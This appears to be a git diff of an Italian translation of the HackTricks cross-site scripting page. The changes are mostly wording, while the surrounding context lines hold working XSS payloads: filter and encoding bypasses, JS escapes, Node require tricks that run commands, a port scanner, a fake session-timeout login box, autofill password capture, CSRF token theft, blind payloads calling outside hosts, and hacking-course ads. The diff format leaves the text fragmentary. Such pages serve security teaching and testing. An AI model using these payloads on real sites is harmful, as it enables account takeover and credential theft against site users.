<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``>
|
||||
|
@ -279,7 +279,7 @@ Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il
|
|||
|
||||
**Bypass all'interno dell'evento utilizzando la codifica HTML/codifica URL**
|
||||
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto, qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna indietro </a>`
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto, qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
|
||||
Nota che **qualsiasi tipo di codifica HTML è valida**:
|
||||
```javascript
|
||||
|
@ -298,7 +298,7 @@ Nota che **qualsiasi tipo di codifica HTML è valida**:
|
|||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**Si noti che la codifica URL funzionerà anche:**
|
||||
**Si noti che la codifica dell'URL funzionerà anche:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
|
@ -354,11 +354,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Altri trucchi di oscuramento**
|
||||
|
||||
_**In questo caso, la codifica HTML e il trucco della codifica Unicode della sezione precedente sono anche validi poiché ti trovi all'interno di un attributo.**_
|
||||
_**In questo caso, la codifica HTML e il trucco della codifica Unicode della sezione precedente sono validi poiché ti trovi all'interno di un attributo.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` viene codificato in URL, verrà decodificato prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **viene codificato in URL**, ricorda che **non importa**, verrà **interpretato** come un **apice singolo** durante l'**esecuzione**.
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` viene codificato in URL, verrà decodificato prima di essere eseguito.** Quindi, se hai bisogno di **escapare** dalla **stringa** usando un **apice singolo** e vedi che **viene codificato in URL**, ricorda che **non importa**, verrà **interpretato** come un **apice singolo** durante l'**esecuzione**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -394,7 +394,7 @@ Se puoi iniettare un URL in un tag **`<a href=`** arbitrario che contiene gli at
|
|||
|
||||
### Bypass sugli Event Handlers
|
||||
|
||||
Innanzitutto controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **event handlers "on"**.\
|
||||
Prima di tutto, controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **event handlers "on"**.\
|
||||
Nel caso in cui ci sia una blacklist che impedisce di creare questi event handlers, puoi provare i seguenti bypass:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
|
@ -475,7 +475,7 @@ In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di
|
|||
|
||||
### Escaping del tag \<script>
|
||||
|
||||
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'reflected data' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
|
||||
Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati riflessi' [...] </script>` potresti facilmente **evitare la chiusura del tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -489,9 +489,9 @@ Se `<>` vengono sanificati, è comunque possibile **eseguire l'escape della stri
|
|||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Template literals \`\`
|
||||
### Template letterali \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template letterali poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se ti accorgi che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Questo può essere **abusato** utilizzando:
|
||||
|
@ -512,7 +512,7 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Esecuzione JS codificata in Unicode
|
||||
### Esecuzione di codice JS tramite codifica Unicode
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -736,30 +736,30 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **Vulnerabilità DOM**
|
||||
|
||||
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.\
|
||||
C'è del **codice JS** che sta utilizzando **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.\
|
||||
**A causa dell'estensione della spiegazione delle** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\
|
||||
Lì troverai una **spiegazione dettagliata di cosa sono le vulnerabilità DOM, come vengono provocate e come sfruttarle**.\
|
||||
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Altri Bypass
|
||||
|
||||
### Unicode Normalizzato
|
||||
|
||||
Potresti verificare se i **valori riflessi** vengono **normalizzati in unicode** sul server (o sul lato client) e sfruttare questa funzionalità per eludere le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Potresti verificare se i **valori riflessi** vengono **normalizzati in unicode** sul server (o sul lato client) e sfruttare questa funzionalità per aggirare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Bypass di Ruby-On-Rails
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
A causa delle **assegnazioni di massa di RoR**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene aggirata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
|
||||
Ad esempio del modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
|
||||
A causa delle **assegnazioni di massa di RoR**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
|
||||
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -845,7 +845,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
La risposta è:
|
||||
|
||||
* **modulo** (predefinito, niente da spiegare)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che ti permette di raggruppare insieme una serie di dati (HTML, CSS, JS...) in un file **`.wbn`**.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che ti permette di raggruppare una serie di dati (HTML, CSS, JS...) in un file **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -872,7 +872,7 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Questo comportamento è stato utilizzato in [**questo articolo**](https://github.com/zwade/yaca/tree/master/solution) per riassegnare una libreria a eval per abusarne e scatenare XSS.
|
||||
Questo comportamento è stato utilizzato in [**questo articolo**](https://github.com/zwade/yaca/tree/master/solution) per riassegnare una libreria a eval per abusarne e innescare XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità è principalmente per risolvere alcuni problemi causati dal prerendering. Funziona in questo modo:
|
||||
```html
|
||||
|
@ -917,7 +917,7 @@ Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare un
|
|||
```
|
||||
### Modelli di Sostituzione Speciali
|
||||
|
||||
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Quando viene utilizzato qualcosa come **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
|
@ -975,7 +975,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
// our actual module code
|
||||
});
|
||||
```
|
||||
Quindi, se da quel modulo possiamo **chiamare un'altra funzione**, è possibile utilizzare `arguments.callee.caller.arguments[1]` da quella funzione per accedere a **`require`**:
|
||||
Pertanto, se da quel modulo possiamo **chiamare un'altra funzione**, è possibile utilizzare `arguments.callee.caller.arguments[1]` da quella funzione per accedere a **`require`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -1020,9 +1020,9 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Offuscamento e Bypass Avanzato
|
||||
### Oscuramento e Bypass Avanzato
|
||||
|
||||
* **Diverse tecniche di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Diverse oscurazioni in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1167,15 +1167,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano l'assenza di risposta._
|
||||
_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano assenza di risposta._
|
||||
|
||||
Consulta l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e in Firefox [**qui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box per richiedere le credenziali
|
||||
### Casella per richiedere le credenziali
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Cattura automatica delle password di auto-compilazione
|
||||
### Cattura automatica delle password autofill
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1190,12 +1190,12 @@ Quando vengono inseriti dati nel campo password, lo username e la password vengo
|
|||
|
||||
### Keylogger
|
||||
|
||||
Basta cercare su github e ne ho trovati alcuni diversi:
|
||||
Basta cercare su github ne ho trovati alcuni diversi:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* È anche possibile utilizzare metasploit `http_javascript_keylogger`
|
||||
* Puoi anche utilizzare metasploit `http_javascript_keylogger`
|
||||
|
||||
### Rubare i token CSRF
|
||||
```javascript
|
||||
|
@ -1226,7 +1226,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
[abusing-service-workers.md](abusing-service-workers.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Accesso al DOM Ombra
|
||||
### Accesso al Shadow DOM
|
||||
|
||||
{% content-ref url="shadow-dom.md" %}
|
||||
[shadow-dom.md](shadow-dom.md)
|
||||
|
@ -1236,7 +1236,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Payloads XSS Ciechi
|
||||
### Payloads XSS ciechi
|
||||
|
||||
Puoi anche utilizzare: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1278,7 +1278,7 @@ Puoi anche utilizzare: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Accesso a Contenuti Nascosti
|
||||
### Regex - Accesso al Contenuto Nascosto
|
||||
|
||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, è ancora possibile trovare un input di un REGEX dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
|
@ -1315,7 +1315,7 @@ Hai ottenuto XSS su un **sito che utilizza la cache**? Prova **ad aggiornarlo a
|
|||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Usalo per aggirare le restrizioni dei cookie, i filtri XSS e molto altro ancora!\
|
||||
Usalo per aggirare le restrizioni dei cookie, i filtri XSS e molto altro!\
|
||||
Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in PDF creati dinamicamente
|
||||
|
@ -1327,7 +1327,7 @@ Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, li **i
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Se non riesci a iniettare tag HTML potrebbe valere la pena provare a **iniettare dati PDF**:
|
||||
Se non puoi iniettare tag HTML potrebbe valere la pena provare a **iniettare dati PDF**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1335,11 +1335,11 @@ Se non riesci a iniettare tag HTML potrebbe valere la pena provare a **iniettare
|
|||
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi sulla velocità e la sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [componenti AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi sulla velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite [componenti AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Il formato [**AMP per Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, consentendo ai destinatari di interagire direttamente con i contenuti all'interno delle loro email.
|
||||
|
||||
Esempio di [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS caricando file (svg)
|
||||
|
||||
|
@ -1415,22 +1415,22 @@ Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](h
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|